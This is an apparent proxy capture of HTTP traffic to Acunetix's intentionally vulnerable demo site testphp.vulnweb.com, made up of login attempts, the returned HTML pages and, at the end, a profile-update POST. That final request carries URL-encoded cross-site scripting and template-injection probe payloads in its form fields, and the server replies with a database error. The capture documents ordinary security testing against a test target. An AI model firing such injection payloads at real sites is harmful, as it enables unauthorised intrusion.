

```
POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Connection: keep-alive
Content-Length: 25
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://testphp.vulnweb.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/102.0.5005.115 Safari/537.36
Accept-Language: en-US;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Referer: http://testphp.vulnweb.com/login.php
Accept-Encoding: gzip, deflate
```

```
uname=aravind&pass=384927HTTP/1.1 302 Found
Server: nginx/1.19.0
Date: Mon, 20 Jun 2022 12:37:50 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Location: login.php
```

```
you must loginGET /login.php HTTP/1.1
Host: testphp.vulnweb.com
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/102.0.5005.115 Safari/537.36
Accept-Language: en-US;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Referer: http://testphp.vulnweb.com/login.php
Accept-Encoding: gzip, deflate
```

```
HTTP/1.1 200 OK
Server: nginx/1.19.0
Date: Mon, 20 Jun 2022 12:37:50 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Content-Encoding: gzip
```

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html><!-- InstanceBegin template="/Templates/main_dynamic_template.dwt.php"
codeOutsideHTMLOutsideHTMLIsLocked="false" -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">

<!-- InstanceBeginEditable name="document_title_rgn" -->
<title>login page</title>
<!-- InstanceEndEditable -->
<link rel="stylesheet" href="style.css" type="text/css">
<!-- InstanceBeginEditable name="headers_rgn" -->
```

```

<!-- here goes headers headers -->
<!-- InstanceEndEditable -->
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) { //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if
((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage;
  }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH)
location.reload();
}
MM_reloadPage(true);
//-->
</script>

</head>
<body>
<div id="mainLayer" style="position:absolute; width:700px; z-index:1">
<div id="masthead">
  <h1 id="siteName"><a href="https://www.acunetix.com/"></a></h1>
  <h6 id="siteInfo">TEST and Demonstration site for <a href="https://
www.acunetix.com/vulnerability-scanner/">Acunetix Web Vulnerability Scanner</a></h6>
  <div id="globalNav">
    <table border="0" cellpadding="0" cellspacing="0" width="100%"><tr>
      <td align="left">
        <a href="index.php">home</a> | <a
href="categories.php">categories</a> | <a href="artists.php">artists
        </a> | <a href="disclaimer.php">disclaimer</a> | <a
href="cart.php">your cart</a> |
        <a href="guestbook.php">guestbook</a> |
        <a href="AJAX/index.php">AJAX Demo</a>
      </td>
      <td align="right">
      </td>
    </tr></table>
  </div>
</div>
<!-- end masthead -->

<!-- begin content -->
<!-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
  <div class="story">
    <h3>If you are already registered please enter your login information
below:</h3><br>
    <form name="loginform" method="post" action="userinfo.php">
      <table cellpadding="4" cellspacing="1">
        <tr><td>Username : </td><td><input name="uname" type="text"
size="20" style="width:120px;"></td></tr>
        <tr><td>Password : </td><td><input name="pass" type="password"
size="20" style="width:120px;"></td></tr>
        <tr><td colspan="2" align="right"><input type="submit"
value="login" style="width:75px;"></td></tr>
      </table>
    </form>
  </div>
  <div class="story">
    <h3>
    You can also <a href="signup.php">signup here</a>.<br>

```

```

        Signup disabled. Please use the username <font color='red'>test</font> and
the password <font color='red'>test</font>.
    </h3>
    </div>
</div>
<!-- InstanceEndEditable -->
<!--end content -->

<div id="navBar">
    <div id="search">
        <form action="search.php?test=query" method="post">
            <label>search art</label>
            <input name="searchFor" type="text" size="10">
            <input name="goButton" type="submit" value="go">
        </form>
    </div>
    <div id="sectionLinks">
        <ul>
            <li><a href="categories.php">Browse categories</a></li>
            <li><a href="artists.php">Browse artists</a></li>
            <li><a href="cart.php">Your cart</a></li>
            <li><a href="login.php">Signup</a></li>
            <li><a href="userinfo.php">Your profile</a></li>
            <li><a href="guestbook.php">Our guestbook</a></li>
            <li><a href="AJAX/index.php">AJAX Demo</a></li>
        </ul>
    </div>
    <div class="relatedLinks">
        <h3>Links</h3>
        <ul>
            <li><a href="http://www.acunetix.com">Security art</a></li>
            <li><a href="https://www.acunetix.com/vulnerability-scanner/php-security-scanner/">PHP scanner</a></li>
            <li><a href="https://www.acunetix.com/blog/articles/prevent-sql-injection-vulnerabilities-in-php-applications/">PHP vuln help</a></li>
            <li><a href="http://www.electasy.com/Fractal-Explorer/index.html">Fractal Explorer</a></li>
        </ul>
    </div>
    <div id="advert">
        <p>
            <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="107" height="66">
                <param name="movie" value="Flash/add.swf">
                <param name="quality" value="high">
                <embed src="Flash/add.swf" quality="high" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="107" height="66"></embed>
            </object>
        </p>
    </div>
</div>

<!--end navbar -->
<div id="siteInfo">
    <a href="http://www.acunetix.com">About Us</a> | <a href="privacy.php">Privacy Policy</a> | <a href="mailto:wvs@acunetix.com">Contact Us</a> | &copy;2019
    Acunetix Ltd
</div>

```

```

<br>
<div style="background-color:lightgray;width:100%;text-align:center;font-size:
12px;padding:1px">
<p style="padding-left:5%;padding-right:5%"><b>Warning</b>: This is not a real shop.
This is an example PHP application, which is intentionally vulnerable to web attacks.
It is intended to help you test Acunetix. It also helps you understand how developer
errors and bad configuration may let someone break into your website. You can use it
to test other tools and your manual hacking skills as well. Tip: Look for potential
SQL Injections, Cross-site Scripting (XSS), and Cross-site Request Forgery (CSRF),
and more.</p>
</div>
</div>
</body>
<!-- InstanceEnd --></html>
POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Connection: keep-alive
Content-Length: 20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://testphp.vulnweb.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/102.0.5005.115 Safari/537.36
Accept-Language: en-US;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Referer: http://testphp.vulnweb.com/login.php
Accept-Encoding: gzip, deflate

uname=test&pass=testHTTP/1.1 200 OK
Server: nginx/1.19.0
Date: Mon, 20 Jun 2022 12:38:00 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Set-Cookie: login=test%2Ftest
Content-Encoding: gzip

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html><!-- InstanceBegin template="/Templates/main_dynamic_template.dwt.php"
codeOutsideHTMLOutsideIsLocked="false" -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">

<!-- InstanceBeginEditable name="document_title_rgn" -->
<title>user info</title>
<!-- InstanceEndEditable -->
<link rel="stylesheet" href="style.css" type="text/css">
<!-- InstanceBeginEditable name="headers_rgn" -->
<!-- here goes headers -->
<!-- InstanceEndEditable -->
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) { //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if
((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage;

```



```

td><td><textarea wrap="soft" name="uaddress" rows="5" style="width:200px">555</
textarea></td></tr>
                                <tr><td colspan="2" align="right"><input
type="submit" value="update" name="update"></td></tr>
                                </table>
                                </form>
                                </div><div class='story'><p>You have 4 items in your cart.
You visualize you cart <a href='cart.php'>here</a>.</p></div></div>
<!-- InstanceEndEditable -->
<!--end content -->

<div id="navBar">
  <div id="search">
    <form action="search.php?test=query" method="post">
      <label>search art</label>
      <input name="searchFor" type="text" size="10">
      <input name="goButton" type="submit" value="go">
    </form>
  </div>
  <div id="sectionLinks">
    <ul>
      <li><a href="categories.php">Browse categories</a></li>
      <li><a href="artists.php">Browse artists</a></li>
      <li><a href="cart.php">Your cart</a></li>
      <li><a href="login.php">Signup</a></li>
      <li><a href="userinfo.php">Your profile</a></li>
      <li><a href="guestbook.php">Our guestbook</a></li>
      <li><a href="AJAX/index.php">AJAX Demo</a></li>
    </ul>
  </div>
  <div class="relatedLinks">
    <h3>Links</h3>
    <ul>
      <li><a href="http://www.acunetix.com">Security art</a></li>
      <li><a href="https://www.acunetix.com/vulnerability-scanner/php-security-
scanner/">PHP scanner</a></li>
      <li><a href="https://www.acunetix.com/blog/articles/prevent-sql-injection-
vulnerabilities-in-php-applications/">PHP vuln help</a></li>
      <li><a href="http://www.electasy.com/Fractal-Explorer/index.html">Fractal
Explorer</a></li>
    </ul>
  </div>
  <div id="advert">
    <p>
      <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://
download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0"
width="107" height="66">
        <param name="movie" value="Flash/add.swf">
        <param name="quality" value="high">
        <embed src="Flash/add.swf" quality="high" pluginspage="http://
www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"
type="application/x-shockwave-flash" width="107" height="66"></embed>
      </object>
    </p>
  </div>
</div>

<!--end navbar -->
<div id="siteInfo"> <a href="http://www.acunetix.com">About Us</a> | <a
href="privacy.php">Privacy Policy</a> | <a href="mailto:wvs@acunetix.com">Contact

```

```

Us</a> | &copy;2019
  Acunetix Ltd
</div>
<br>
<div style="background-color:lightgray;width:100%;text-align:center;font-size:
12px;padding:1px">
<p style="padding-left:5%;padding-right:5%"><b>Warning</b>: This is not a real shop.
This is an example PHP application, which is intentionally vulnerable to web attacks.
It is intended to help you test Acunetix. It also helps you understand how developer
errors and bad configuration may let someone break into your website. You can use it
to test other tools and your manual hacking skills as well. Tip: Look for potential
SQL Injections, Cross-site Scripting (XSS), and Cross-site Request Forgery (CSRF),
and more.</p>
</div>
</div>
</body>
<!-- InstanceEnd --></html>
POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Connection: keep-alive
Content-Length: 271
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://testphp.vulnweb.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/102.0.5005.115 Safari/537.36
Accept-Language: en-US;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Referer: http://testphp.vulnweb.com/userinfo.php
Accept-Encoding: gzip, deflate
Cookie: login=test%2Ftest

username=%3Ch1%3E%22%7D%7Dacx%7B%7B98991*97996%7D%7Dxca%3Cscript%3E%26simple%3B%26attac
k%3B%3C%2Fscript%3E%3C%2Fh1%3E&ucc=%3Ch1%3Enumber87%3C%2Fh1%3E&uemail=%3Ch1%3Enumber8
7%3C%2Fh1%3E&uphone=%3C%25%3D%7B%7B3D%7B%40%7B%23%7B%24%7Bacx%7D%7D%25%3E&uaddress=5
55&update=updateHTTP/1.1 200 OK
Server: nginx/1.19.0
Date: Mon, 20 Jun 2022 12:38:03 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Content-Encoding: gzip

Warning: mysql_connect(): Connection refused in /hj/var/www/database_connect.php on
line 2
Website is out of order. Please visit back later. Thank you for understanding.

```